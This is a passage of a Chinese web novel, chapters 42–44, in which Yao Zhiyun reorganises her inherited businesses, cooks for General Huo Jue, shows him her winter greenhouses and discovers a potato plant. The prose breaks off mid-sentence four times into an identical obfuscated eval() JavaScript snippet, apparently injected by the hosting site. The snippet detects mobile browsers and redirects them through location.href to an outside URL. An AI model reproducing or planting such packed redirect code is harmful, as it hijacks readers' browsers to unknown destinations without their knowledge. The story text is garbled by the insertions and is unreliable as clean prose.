沈知节略作停顿，见她无异议，便继续道：“其次是茶业。此业利厚，但规矩也严。各地茶园早有主家，且上好茶山多为官绅把持，我们之前主要是进货售卖，若得贸然置办茶园，恐树大招风，也难与根深蒂固的茶商相争。更为要紧的是，”他语气转为慎重，“茶叶贩运，需有官府颁发的‘茶引’。此引数量有定，分配之权操于户部业马司及地方大吏之手，非寻常商贾可轻易得之。故而，在下以为，眼下不宜直扑源头，不如保持原样。待根基稳了，再图茶引与茶园不迟。” 姚知韫抬起眼，心中明了。茶引制度她略有耳闻，那是朝廷控制边贸和抽取重税的关键，确实不是她目前能轻易触碰的领域。沈知节的建议，是务实之举。 “最后是酒楼。”沈知节面上露出笑意，“您上回提的‘地域特色保留，风味交叉融合’之法，已让几位老师傅试做了。如今名下各店，既保有原本的看家招牌，又择其精粹，相互借鉴，此番调整后，各店流水，尤其京中总店，收益均增了三成有余，食客反响颇佳。” 他最后总结道：“大体便是如此。织造立足长远，根基需稳；茶行暂避锋芒，徐图缓进；酒楼见效最快，可作眼下钱粮活水。后续如何铺排，还请姑娘定夺。” 姚知韫合上账册，沈知节这番安排，步步为营，既有开拓的锐气，又深谙此世规矩的界限，将她的设想妥帖地落在了现实中。 “沈先生思虑周详，便先依此办理。”她收回目光，语气平和却清晰，“织造之事，质量把关为首要，宁精勿滥。茶庄接手后，旧人可用则留，但账目、采买须换上我们的人。酒楼新菜既受欢迎，可着人细细记录食客偏好，日后或可编成册子，也算是一样独门心得。” 姚知韫这两个月将母亲留下的产业做了梳理，铺设虽广，门类却不算庞杂，多以布庄、粮行、酒楼为主，走的也是“以量取胜，稳健铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250019|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开”的路子，每年之所以有那么多的进项，也是因为根基很稳。 她也没打算一口吃成胖子，改革需要步步为营，眼下当先聚焦织造与酒楼这两处见效最快，也最易掌控的环节。 “沈先生，”她抬起眼，“酒楼的后院那片屋舍，改建成客舍，保留两处独立的雅院，其他的房间均按照统一规制布置，以单人、两人、三人为主，至于大通铺——”她语气微顿，“一律取消，费用的话您核算后看着定，房费包含早膳，若是客人需要用午膳与晚膳，则一律按照八成收费，单独立账，退房核算。” 沈知节眼底倏然掠过一丝精光。 这位姑娘心思当真活络，这已不是单单经营酒楼，而是要将行旅客商的食、宿一并攥在手里，如此一来，客源更稳，利润也更深，他心中虽波澜微起，面上却依旧沉静如水，只点头应道 “是，在下明白，回头便着人画了图样，送来请姑娘过目。” 姚知韫点点头，目光看向田庄那一摞，母亲的产业中，还有大量的庄子，她喜欢土地，也始终觉得土地才是人的根本。 “还有一事——，”她看向沈知节，“这些庄子，沈先生可否为我整理一份详尽的录册？” 沈知节略作思索，“姑娘想知道哪些？” “越细越好，”姚知韫想了想，列举了几项，“庄子的具体方位，占地几何、水土特性、适合种植何种作物、往年收成如何、佃户人数、交租比例与方式——但凡相关的，请先生务必录明。” 姚知韫语气温和，却又格外认真，她略作停顿后又缓声补充道，“土地是根本，动之牵筋连骨，我想先看看情况，再与显生商议，看看如何调整，方能让这些土地，生出价值来。” 她垂下眼眸，敛去眼中一闪而过的晦暗，皇上将霍抉留在京城，又将京营交给他节制，前番又被派他急赴八陉巡边，他背上那狰狞的灼伤，源自东琅秘制的火药。 东琅频频在梓州异动，皇上早已存了收复疆土的心思。若真是如此，一旦战端再启，霍抉必定首当其冲。 到那时，那些他曾经得罪过，想置他于死地之人，又岂会放过这个机会？ 战场之上，生死往往悬于一线。想要弄死一个将领，粮草便成了最致命的武器。 只需在路上耽搁几日，对前线将士而言，便是灭顶之灾，饥饿会瓦解人的意志，猜忌会撕裂军心，纵使霍抉有万夫不当之勇，无粮之军，亦如无水之鱼，唯有败亡一途。 “兵马未动，粮草先行”，这七个字是无数血泪换来的铁律。古往今来，多少名将并非败于阵前，而是亡于背后的补给不继。前朝武威侯三十万大军北伐，便是因粮草被焚于陇山古道，最终功败垂成，全军覆没。 到那时，霍抉作为败军之将，面临的也只能是削爵抄家，满门抄斩的下场，而她这个妻子，又岂能独善其身呢？ 即便是为了自己的小命考量，她也必须要给霍抉做好保障，思绪纷乱，只是她似乎没有发现，她已经把霍抉当成自己人了。 42. 一碗面 她悄然叹了一口气，压低了声音，仿佛自语，却足以让沈知节听到。 “将军是武将，戍边守国，朝廷虽有军粮拨付，可终究是仰赖于人。倘若……倘若边关再起烽烟，路途阻塞，粮道艰难，”她抬起眼，目光清亮地望向沈知节，将那句未曾言明的隐忧，化作更实际的考量，“那么，握在自己手里的粮食，便不止是银钱，更是底气。” 姚知韫说的很含蓄，却也很清楚，她终究还是忍不住替他打算了。 这念头来的静悄悄，却好像又自然而然，便当做对他长久以来蓦然相护的一份回礼吧。 当姚知韫用那样平静的语调，说出那些话时，沈知节心底骤然升起了凛然，随即化作了沉甸甸的敬意。 他是跟着霍抉在边关尸山血海里滚过的人，当然清楚“粮草”的份量，他们曾经为了粮草也抢掠过。 可眼前的这位养在深闺的姑娘，竟想将田庄的经营与将军的安危联系起来，这已远远超出后宅主母打理产业的范畴。她想以最擅长的方式，默默地为将军加固最脆弱的后方，这份心思，朴实却比任何华丽的承诺更珍贵。 这些日子，他践行着她的那些理念，起初的不以为然，到后来深深的敬佩，在她的所有规划里，人是根本，她看得见江山，更看得见百姓。 这样的一个人，又怎会不让人心生敬重，他似乎明白了，将军为何独独钟情于她。 他面上依旧平静，只是开口时，多了一丝属于战场上同袍般的郑重。 “姑娘思虑之深，令人叹服，此事关乎根本，在下必竭尽全力，助姑娘完成此事。” 似乎不知不觉中，在沈知节的心中，姚知韫不再是“将军的未婚妻”，而是源于她这个人，这份见识与心性的真正认可。 姚知韫想到了霍抉，就想起他说午膳想吃面，她心中一动，据她了解大晋地处北方，多以种植小麦为主，食物也多是面食一类的，既然要推陈出新，那吃食便是一个大的突破口。 原先妈妈是苏州人，爸爸却是北京人，她多少都会一些，想到这里，她狡黠的笑了笑，“沈先生，是否愿意帮我试个菜，若是可以，我想在酒楼里推广。” 沈知节刚从‘这个姑娘不简单’的思绪里拉出来，便听到她这么说，一时间也不知道是愿意还是不愿意，再看她微笑着的面容，似乎期许万分，便鬼使神差地答应了。 姚知韫与沈知节又说了一些经营的琐事，见日头渐盛，便转身离开了归云楼。 出了归云楼，步履未停，径直朝着竹外轩而去。 竹外轩，顾名思义，原是一片倚着院墙、临水而建的客舍。早些年母亲苏璟岚还在时，每逢年节，总有远亲故旧上门，这里便成了临时安置客人的清静所在。黛瓦白墙，窗外是几丛萧疏的绿竹，推开窗便能看见一池活水，景致极好。 自母亲去世，姚府只剩她一个孤女，门庭也就日渐冷落，偌大的院子闲着也是闲着，她便将它改建成了两个暖棚。 去掉地砖，拆了亭子，支了架子在再用特制的油布覆顶，又将院子里的小厨房稍加改造烧了地龙，接入棚内，立起了两座暖棚，若不是其他地方离着小厨房有些远，地龙接起来有些麻烦，她定然会再建上第三座。 前世爸爸是农大的教授，这样的大棚在学校有好几座，她身体好的时候，便常常跑到学校里玩，爸爸更是仔仔细细地讲给她听，原理、目的、种植技巧等，她虽没有真的动手做过，但理论上已经算的上是半个专家了。 如今，倒是有了实践的机会，她便高兴得紧，虽说用了挺长的时间，但她乐此不疲。 大的一座，她种上了蔬菜，里头分畦列亩，种着耐寒的菘菜、菠薐，也有几垄正小心伺候着的胡瓜与茄子，绿意葱茏，在冬日里显得格外珍贵。 小的一座，则用来侍弄花草，里头既有准备年下应景的蜡梅、水仙，也有她精心培育的牡丹与兰草。幽香隐隐，与外间的蔬菜泥土气泾渭分明。 她掀开蔬菜暖棚厚重的棉帘，一股混合着泥土与植物清气的暖意扑面而来，棚内光线朦胧，却绿意盎然，她随手摘了几片菠薐菜叶，又掐上两根顶花带刺的胡瓜，看着这冬日的翠绿，她心里没来由的动了一下，若是霍抉见到这么水灵的菜，不知道会是怎样的一幅表情？ 这个念头让她唇角不自觉地弯了弯，竟隐隐生出几分期待来。 她小心地将蔬菜放在竹篮里，快步出了暖棚，径直出了院子向着厨房而去。 喊了小桃帮忙，很快的灶火生了起来，映亮了她沉静的脸。她挽起袖子，手脚麻利地将熬好的皮汤细细切碎，与剁好的猪肉糜拌在一起。又用滚烫的骨头汤烫了白面，揉成光滑柔软的面团。 她手上的动作如行云流水：薄如蝉翼的面皮，包入满满的馅料，收口处捏出十八个细褶，成了玲珑的小笼包；又将另一块面擀开、叠起、切成匀细的面条，抖散在案板上。 她又起小锅，用黄酱、肉末和香料熬了一碗油亮咸香的杂酱，顺便将一片薄猪排炸得金黄酥脆。 蒸笼上汽，大锅水沸，等待的间隙，她将那根胡瓜切成片，清清爽爽的拌了一碟。 不过半个时辰，方才还空旷的灶台上，已是热气蒸腾、香气弥漫。小巧的蒸笼里躺着圆润的小笼包，碗里盛着劲道的面条，覆着浓香的杂酱和酥脆的猪排，旁边点缀着碧绿的菠薐与爽脆的胡瓜丝。 她静静看了一会儿这寻常却又费了心思的一餐，用托盘仔细装好，和小桃一起端着，转身朝着膳堂去了。 膳堂内，霍抉与沈知节都已经到了，两人正低声说着什么，见着她来，沈知节起身行了礼，霍抉则是靠坐在椅上，目光自她进门便没有移开过，眼底的笑意温然的漾着。 姚知韫将手中的吃食依次放在桌面上，顺势在霍抉身旁的空位坐了下来，又朝着沈知节道：“沈先生也坐。” 沈知节身形未动，却是抬眼望向霍抉，见霍抉唇边笑意更深，几不可察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254322|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的点了头，他才拱手谢了，隔了两个位置的落了座。 一大碗擀得匀细、根根分明的面条，旁边是好几碟颜色鲜亮的菜码：焯得碧绿的菠薐菜、切得细如发丝的胡瓜与莹白葱丝、浓油赤酱的肉末杂酱、另有一碟烧得油亮软烂的茄丁。最引人注目的是那笼皮薄如纸、隐约透出馅料汤汁的小笼包，并一盘炸得金黄酥脆、香气霸道的物事。 霍抉的目光在那几样碧莹莹的蔬菜上停了停，他早知她辟了块地方侍弄花草，只当她闲来消遣，却不想竟在寒冬里种出了这般水灵的菜蔬。这念头让他望向她的眼神里，又多生了几分骄傲。 只是眼前这丰盛却都只有一份的场面，让他微微犯了难，正欲开口询问如何分食—— 却见姚知韫已自然地取过一只空碗，素手执箸，挑入一束面条，码上些许胡瓜丝与葱白，又浇上一勺浓香的杂酱，仔细拌匀了，这才递到他面前。她抬起眼看着他，眸子里映着烛火，亮晶晶的，带着一点不自知的期待。 霍抉心口更是柔成一池春水，即便是再稳重的也不过十几岁的年纪，情绪还是带在面上，他毫不犹豫地伸手接过，就着她递来的碗沿便吃了一大口。面条劲道，酱香浓郁，咸鲜中透着蔬菜的清爽，熨帖至极。 “你这手艺，”他咽下口中食物，笑意从眼角眉梢漫出来，“开个酒楼都绰绰有余。”说罢，才似想起还有旁人在，转头对沈知节道：“尝尝？” 他并非没吃过好东西，只是这看似简单的拌面，从面条的筋道、杂酱的醇厚到菜码的新鲜爽脆，处处透着不寻常的用心与火候。尤其是那胡瓜丝，寒冬腊月里竟能有这般脆嫩清甜，只是这京城地面上，要买到如此新鲜的蔬菜，怕是费了不少的心思。 霍抉吃得快，一小碗面转眼见了底。姚知韫瞧见了，也不言语，只自然地取回空碗，这回换上了烧得软糯入味的茄丁作浇头，同样仔细拌匀，再次递到他手边。霍抉接得顺手，吃得也惬意，仿佛这般被她照料着，是天经地义的事。 “这个，”姚知韫用筷子尖点了点那盘金黄物事，夹起一块，放入他碗中，“是炸猪排。你尝尝看？” 霍抉依言咬下，外皮酥脆得咔嚓作响，内里的猪肉却还保留着丰盈的汁水，咸香满口。他吃着，目光却久久落在姚知韫沉静的侧脸上。这满桌超越季节的鲜美，这寻常又极不寻常的一餐，皆源于她。 霍抉眼神微闪，多年前，似乎也有过这样的场景，母亲还在时，她总是不知从哪里寻来新鲜的吃食，也总是眉眼弯弯的捧到他跟前，眼睛盛着光，“抉儿，尝尝？” 那时他尚年幼，只觉得那温软的眉眼，期待的笑意，便是人间最安稳的所在。 母亲也极喜欢捣鼓这些新鲜玩意儿，每次都会眉眼弯弯地看着他说：“尝尝？” 只是六岁以后，一切都被埋葬在旧时光里，在霍家的那些日子，周遭也全是算计，连吃口饭也是小心翼翼，他甚至记不清，有多少次死里逃生都与食物有关。 43. 期待 此刻，身边的这个小女子，沉静的坐在他的身边，目光清亮，略带期许，将满桌的鲜活呈现在他的面前，似乎他期待的人间安稳，又回到了身边。 “好吃，”他再抬眼，已经是惯常的样子，只是声音比平日里沉了许多。 姚知韫得到了霍抉的认可，心里那点期待悄然落定，便转向沈知节，“沈先生觉得，这样的饭菜能否列入酒楼的食单，若是可以，我便将方子写给你。” 沈知节的手微微一顿。 “自然是可以的。”他放下筷子，神色郑重，“面条劲道，浇头滋味醇厚，尤其是这‘炸猪排’，外酥里嫩，口味新奇，定能吸引食客。更难得的是……”，他目光扫过那几碟碧绿的蔬菜，“冬日里能有这般鲜灵的菜蔬佐伴，本身就是极大的噱头与优势。只是，这蔬菜的稳定供应……” “暖棚所出，目前我也只是自用，不外卖。”姚知韫明白他的顾虑，接口道，“物以稀为贵，我们也不需多，每日限量供应便是。食客图的就是这一口‘别处没有’的时鲜。” 反正胡瓜高产，若是可行，她在京郊的庄子上搭一个暖棚便好，也不是什么难事。 沈知节眼中精光一闪，已然明白了其中关窍，拱手道：“姑娘思虑周全。如此，这几样菜式，尤其是搭配暖棚鲜蔬的‘时鲜面’与‘炸猪排’，必能成为归云楼又一金字招牌。” “回头，我再试上几样点心，”姚知韫跃跃欲试。姚知韫眼里漾开一抹鲜活的亮色，语气里带着些跃跃欲试的轻快，“方才和面时便想着，若是换了模具，调整火候，或许能做出更精巧的样式。” 霍抉静静地望着她，望着她眼中那簇因跃跃欲试而点燃的明亮火光，望着她唇角那抹鲜活灵动的笑意。 一切都美好得……恍如梦境。 她就该是如此的，聪慧、笃定、鲜活、生机勃勃的，这样的她让他更踏实，甚至生出期待，期待着她能给他弄出来什么意想不到的惊喜。 他忽然就生出些恐慌来，倏然伸出手，一把攥住了她搁在桌边的手。 温热的，柔软的。 不是梦。 真的——不是梦， 她如此鲜活、如此明亮、如此触手可及地，活着，活在他的眼前。 午膳撤下，换了清茶，三人间的谈话也渐渐从闲谈转向了正事。 姚知韫同沈知节商议着归云楼的布局，条理清晰，丝丝入扣，霍抉大多时候是听着的，偶尔在涉及到边贸或者官面时，才插上一两句。 霍抉见她一桩桩生意安排的如此井井有条，心中除去欣赏也有一丝疑惑，七年来她养在深闺，除了每月去永安寺外，从未有过其他接触外界的经历，她是如何学会这些的？难道真的是天赋异禀？ 旋即便又哑然失笑，无论如何，她不就是她吗？只要她是姚知韫，她什么样子？想做什么？他总是会护着她的，更何况小时候她就那么聪明，才六七岁的年纪坐在那里便让人觉得千帆过尽，如今又虚长几岁，聪明一些又何妨？ 想到这里，他忽然开了口，语气带着几分玩笑，“瞧着你这般能干，我手上那些乱七八糟的产业也一并处理了吧！” 闻言，姚知韫端着茶盏的手几不可察地顿了一下。 她默默地垂眸，并未接话，此刻的她觉得自己有些不厚道，用着他的人，仗着他的势，可却还是矫情地不想越界。 霍抉的心还是被她的沉默轻轻刺了一下，她总是想着三年后要与他分道扬镳，可她大概还不明白，他这些年在外搏杀，所积攒的一切，本就是为了有朝一日能毫无保留地捧到她面前，产业、银钱、荣华，只要是她想要，他定然是高高兴兴的奉上。 只是他还总是贪恋着性命，希望着与她长长久久的。 他端起茶盏，抿了一口，心底的念头却已经落定，待会私下吩咐沈知节，将他名下那些产业都转到姚知韫名下，东西变成了她的，她总不能不管。 三年后，她想走，他跟着她便好，她愿仗剑天涯，他定生死相随，她若隐居山林，他便垒灶炊烟。 这辈子，他认准了她，也赖定了她。 这念头一起，反倒有了一种尘埃落定的轻松。 沈知节这二人之间流转着一股无需言说的微妙气氛，便极识趣地起身，以“归云楼尚有庶务待理”为由，拱手辞行，将这一室静谧，留给了将军与姑娘。 姚知韫抬眸看着安然稳坐的霍抉，茶已续过一道，他却依旧老神在在的端着茶盏，细啜慢品，半分要离开的意思也没有。 厅内一时静极，只余炭火偶尔哔剥轻响，这过分的安静让姚知韫指尖微微蜷起，想着要不要寻个由头先离开。 她不是那种在意别人想法的人，换做旁人，走便走了，可面对霍抉，她总是不甚自在，也不知何时开始，她不自觉的会在意他的想法，这让她有些隐隐的不安。 便想起身离开，刚转过身，便看见厅外廊下，青木面带犹豫，欲进又止。 姚知韫见状，立刻转过身，“将军既有正事，我——。” 未等到姚知韫说完，霍抉便朝着门外扬声唤道，“进来。” 青木闻声疾步入内，目光下意识的先扫过一旁的姚知韫，似有顾虑。 霍抉眼底掠过一丝微不可察的不悦，声音沉了一分，“无妨，说。” 青木微怔，旋即收敛神色，恭敬抱拳，“将军，梓州学正胡大人已秘密护送抵京，请将军示下。” 霍抉唇角轻勾，将茶盏搁回桌面，“薛轻羽动作还挺快。”他眼角余光瞥了一眼姚知韫，她微挑的眉尾与凝神细听的姿态，悄悄泄露了她的好奇。 他不着痕迹地对青木吩咐道，“明日大朝，常御史会从隆德门离开，胡大人该知道如何做。” 青木心领神会，垂手应道，胡大人自然是要告状的，他们只要保障他的安全就好，“是，属下明白。” 青木眼角余光不动声色地扫了一眼姚知韫，便迅速地垂手撤了出去。 梓州这两个字就像一个钩子，勾起了心中的蠢蠢欲动，此刻，姚知韫倒不着急出去了。 她想知道，霍抉究竟想做什么？ 霍抉并未着急开口，鱼钩已经下了，就等她咬饵，他会一步一步将她引入他织好的网，她的心思有多大，他便将网织多大。 他唇角自始至终噙着一抹笑意，由里至外的透着愉悦，伸出两根手指，在茶盏旁的桌面上不疾不徐地轻叩两下，眼尾微微上挑。 见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260042|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此的模样，姚知韫竟也跟着浅浅笑了笑，执起茶壶，自然而然的替他将茶盏重新注满。 氤氲的热气升腾起来，越过了两人之间些许无形的界限，霍抉端起温热的茶盏，这才唤声开口，将梓州的情形，那片被贪婪反复蹂躏的土地，十室九空的惨淡，官府的不作为与百姓的绝望，一一道来。 他的声音平稳，条理清晰，可当说到自梓州如今民生凋零、沃野成荒的景象时，眉宇间还是染上了一层难以掩饰的悲色，即便他踏过尸山血海，面对无声的凋敝，依然还是无法用惯常的冷硬去掩盖，也无法对苍生苦难做到麻木。 姚知韫静静的听着，指尖无意识地摩挲着温热的杯壁，霍抉究竟是个怎么样的人？她能听出他平静语调下压抑的波澜，也能清晰地看见，他那冷峻表象下笨拙的仁心。 “所以——，”她抬起眼，目光清亮的望向他，声音放得很轻，“那位胡大人是来告状的？” 霍抉极快地应了一声，仅凭那些户籍册与那些账本，不足以剥开梓州的迷雾，更需要一个活生生的人，一个在那里挣扎过、目睹过一切的人，站在民众面前亲口说出梓州的血泪，才能将梓州的问题放在明面上。 虽然霍抉没有说话，但姚知韫似乎懂了，他需要有个人撕开一个口子。 “正好那位常御史，又是一个极重名声之人，在他必经之路上喊冤，众目睽睽，他定然不会坐视不理？” “韫儿，果然聪明。”霍抉不吝夸奖。 她没有说话，只是再次提起茶壶，将他面前的杯子缓缓注满，热气再次升起，朦胧了彼此的眉眼。 这一次，两人似乎多了一丝无声的默契。 两人间的静谧尚未被打破，廊下传来芙蓉刻意放轻的脚步声。 她在门外，扬起了声音，“姑娘，昌平伯府遣人送了东西来。” 姚知韫与霍抉对视一眼，才猛然想起，雅集那日孙颖曾经答应过要送她一盆绿萼梅，又想着刚才青木也没避着她，她是不是礼尚往来。 “拿进来吧！” 芙蓉应声而入，身后跟着两个捧着花盆的小丫鬟，一盆姿态清隽，含苞待放的绿萼梅，素白的花苞衬着碧绿的萼片，清气袭人，另一盆则是出乎意料的清雅，细韧的绿茎顶端，攒聚着一簇铃铛状的小花，约有五六朵，花瓣是极淡的紫白色，边缘还带着一点点羞涩的晕染，像黎明前天机将散未散的最后一丝夜色痕迹，花心探出几缕鹅黄色的纤蕊，怯生生的，上面还凝着细不可见的晶莹。 姚知韫看着那不起眼的花朵，瞳孔几不可察觉地收缩了一下，心中翻涌着惊涛骇浪，竟然是铃兰——。 其中一个小丫鬟屈膝行了礼，声音清脆，恭敬却又不卑不亢，“我们姑娘吩咐奴婢将这两盆花送来，一盆是姑娘允诺的，另一盆是舅老爷前些日子云游在外，偶然得的稀奇品种，名叫‘地铃兰’，我们姑娘瞧着清新别致，想着您定会喜欢，便让奴婢一并送来给您赏玩，还望姑娘不嫌弃。” 她飞快地扫了一眼姚知韫，从袖中取出一封浅碧色花笺，双手奉上，“我们姑娘让奴婢带话，说永安寺后山的梅花这几日开得正好，姑娘诚心邀您后日一同去赏梅吃茶，不知您可否赏光？这是姑娘亲笔写的帖子。” 44. 地铃兰 姚知韫放下信笺，“孙姑娘有心了，她送的我很喜欢，替我谢谢你家姑娘，至于永安寺之约，我便应下了。” 丫鬟高高兴兴地行了礼，芙蓉给两个小丫鬟各赏了五钱银子，客客气气地将人送了回去。 厅内重归静谧，霍抉却甚是疑惑。 若论花，自然是绿萼梅更稀有，她也自当喜欢才是，怎么她反倒是对着那簇不起眼的乳白色小花更感兴趣，那灼人的目光熠熠生辉，分不清是对奇花异草的喜悦多一些，还是难以置信的震撼多一些。 “韫儿”，他低声唤道。 姚知韫恍若未闻，只是将目光放在那株地铃兰上，她伸出指尖轻轻捧出那鹅黄色的花蕊，又像被灼伤般的快速收回，爱不释手又小心翼翼。 土豆，真的是土豆！ 她依然还记得爸爸拿着土豆种那兴奋的模样，史书上记载的“康乾盛世”人口爆炸，背后便是红薯、玉米、土豆等高产的作物悄然推动。 “韫儿——，”霍抉拖长了尾音，他不喜欢这种她的注意力不在他身上的感觉。 可姚知韫似乎没有听到，只是一味地沉浸在她的思绪里，她猛地转身，看向霍抉，眼眸亮的惊人，似乎将漫天光华都装在那双星眸里。 “霍抉，”她的声音因为激动而显得有些高亢，甚至没有注意到她并未像往常一般唤他将军，而是直呼其名，“你快看、快看——！” 霍抉第一次听到她唤他的名字，眉峰微挑，心下愉悦，他见过她冷静筹谋的样子，见过她温柔含笑的样子，却从未见过她如此鲜活夺目的样子，甚至隐隐的有些失态，她本该如此，以后有他护着，她便可以一直如此，肆意的想笑就笑。 可他怎么看那盆花越来越碍眼，“一盆花而已——，”他心带醋意，又舍不得打了她的兴致，语气便带了一些不以为然。 姚知韫此刻的注意力都在土豆上，并未察觉，她深吸一口气，强迫自己冷静下来，但眼底的火焰并未熄灭，听到霍抉的不以为然，便丢了一个‘你不懂’的眼神，略显兴奋的解释给他听。 “这可不仅仅是一盆花而已，这个叫土豆，你也可以叫它洋芋，此物耐寒、耐旱、易存储，且不挑地，若是种植的好，亩产可达数十石，甚至更多。” “数十石？”饶是霍抉见惯风浪，也被这个数字震了一下，大晋良田，丰年亩产麦粟不过两三石，江南膏腴之地，水稻也不过四五石，数十石，这简直不可能。 姚知韫并不准备在这方面和霍抉过多的纠缠，“霍抉，如今的大晋贪腐成风，国库空虚，若的再开战，必定民不聊生，国家若的没了钱，仗打起来也会缺粮断饷，若是能把它培育活了，能活人无数。” 霍抉凝视着她，眼底暗涌浮动，方才沈知节与他说过，她那样仔细的梳理田庄土地，原是为了他，如今这般兴奋与珍重，是否——亦是因为他？ 她知道一旦边关烽火再起，他必首当其冲，她虽然什么不说，可已下意识地为他铺设后路，筹谋根本。 “韫儿——，”霍抉一时间触动，情不自禁地伸出手将她拢入怀中。 姚知韫的注意力还在那盆地铃兰上，猝不及防的跃进一个温热坚实的胸膛，她下意识地将沾满了泥土的手高高举过头顶，身子却微微僵着，倒不知道后面该如何动作了。 她的声音闷在他的衣襟间，轻轻挣了挣身子，却动弹不得，“霍抉——，我要将它移到暖棚里去，你——能不能先放开我？” 霍抉没有立刻放手，反而将她搂得更紧了些，他将下颌搁在她的头顶，鼻尖盈满了她发间清冽的寒梅香。发出一声不易察觉的喟叹。 姚知韫举着手，耳边全是他沉稳有力的心跳，一下，又一下，敲打着她的耳膜。 良久，霍抉才缓缓松开手臂，大掌一把将那盆地铃兰抓起，另一只手将她的手拢在掌心，牵着她便往外走。 “走吧，我陪你去。” 两人一前一后，霍抉的手始终稳稳牵着她的，姚知韫垂眸，视线却一直落在两人交握的手上。 他的手好大，能将她的手整个裹进掌心，他的手也很暖，虎口与指节根部覆着一层粗粝的厚茧，磨过她细腻的手背，带来些微的刺痒，却又有一种磐石般的安稳。 像极了小时候爸爸牵着她的手。 那个记忆里有些木木却宽厚温暖的手掌，也曾这样稳稳地嵌着她，走过医院长长的走廊，也走过校园红枫下的石板路，后来爸爸再也没有出现过，但她不怨他，看着她日渐枯萎的身子，本身就是一种漫长的凌迟，他只是选择了逃离。 本该抽手的。 无论是姑娘家的矜持，还是礼教的规训，她都应该斥责地推开他，大声地呵斥他让他放开。 可她还是贪恋那一丝久违的温暖，透过他粗粝的掌心，丝丝缕缕渗进她冰凉的指尖，安抚了她心底某个她忽略已久的荒芜的角落。 后来，那个角落也曾经被短暂的照亮过。 那个虽然不常回家，却时刻惦记着她的父亲，还有那个温柔又严厉教导过她的母亲，只是时间依旧短暂，三年的时间，她终于小心翼翼地卸下心防，学着去接纳那份陌生的亲情，期待父亲马蹄声归，习惯母亲身上淡淡的香气。 可时光终究吝啬，父亲战死沙场，母亲不堪思念追随而去，她又是一个人了。 不知道，霍抉的这份温情，又能保持多久？ 一会，就一会，允许她放纵地贪恋这一个瞬间。 冬日的寒风穿过廊下，卷起她斗篷的边缘。 霍抉走的不快，甚至为了迁就她的步调，刻意放慢了脚步，他没有回头，却也没有放开她的手。 直到走到竹外轩的月洞门前，他才停下脚步，转过身，却依旧没有松手。 “到了。”姚知韫挣扎着微微用力，抽回自己手。快速朝着暖房走去，掩饰自己的羞怯。掌心骤然空落，寒意立刻袭来，她将手拢入袖中，摩挲着方才被他握过的地方。 霍抉只是微微停了一瞬，随即便跟着她也朝着暖房而去，她个子小，即便是走的极快，他也依然能老神在在的不紧不慢的跟着。 跟着姚知韫进了暖棚，棉帘在身后落下，隔绝了外间的寒风，随即便是一股温润馥郁的暖意扑面而来，将他轻柔的包裹，霍抉抬眼望去，饶是心里有了准备，呼吸还是忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263649|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住微微一滞，眼前所见，绝非他想象中有着几畦存货的菜蔬那般简单。 棚内宽敞明亮，天阳从特制的油布辐射而下，再加上数盏特制的琉璃灯悬于两侧，满室生辉，一条用青砖铺出的甬道将暖房一分为二。 左侧是成片的青翠，菘菜肥厚的叶片挤挤挨挨，泛着油润的光泽，菠薐舒展着嫩红的茎与碧绿的叶，水灵灵地招摇，再往后还种着茄子，扁豆，最后面则是几垄胡瓜，藤蔓沿着精巧的竹架攀援，叶片宽大，其间还垂着数根顶花带刺的果实，在这深冬时节，简直如同神迹。 右侧则被她精心分成一块一块的区域，不同的畦里的作物高低错落，大部分是他不认识的，有些则有着像胡瓜一般的藤蔓贴着地皮生长，叶片舒展，不见丝毫萎黄，看上去有着蓬勃的生命力。 “那是南瓜，是我在一个胡人手上高价买来的，今年是第二年了，好不容易才结了果，它旁边的便是西瓜，可当水果食用，”那是父亲刚去世的第二年，皇上发善心赐下几片进贡来的西瓜，她取了籽足足培育了三年才有了如今两垄，吃个新鲜还是没有问题的。 “在旁边的是甜瓜，可以用来熬糖或者当水果吃，”姚知韫不知何时已经站在他的身后，清越软糯的声音说的也是淡淡的。 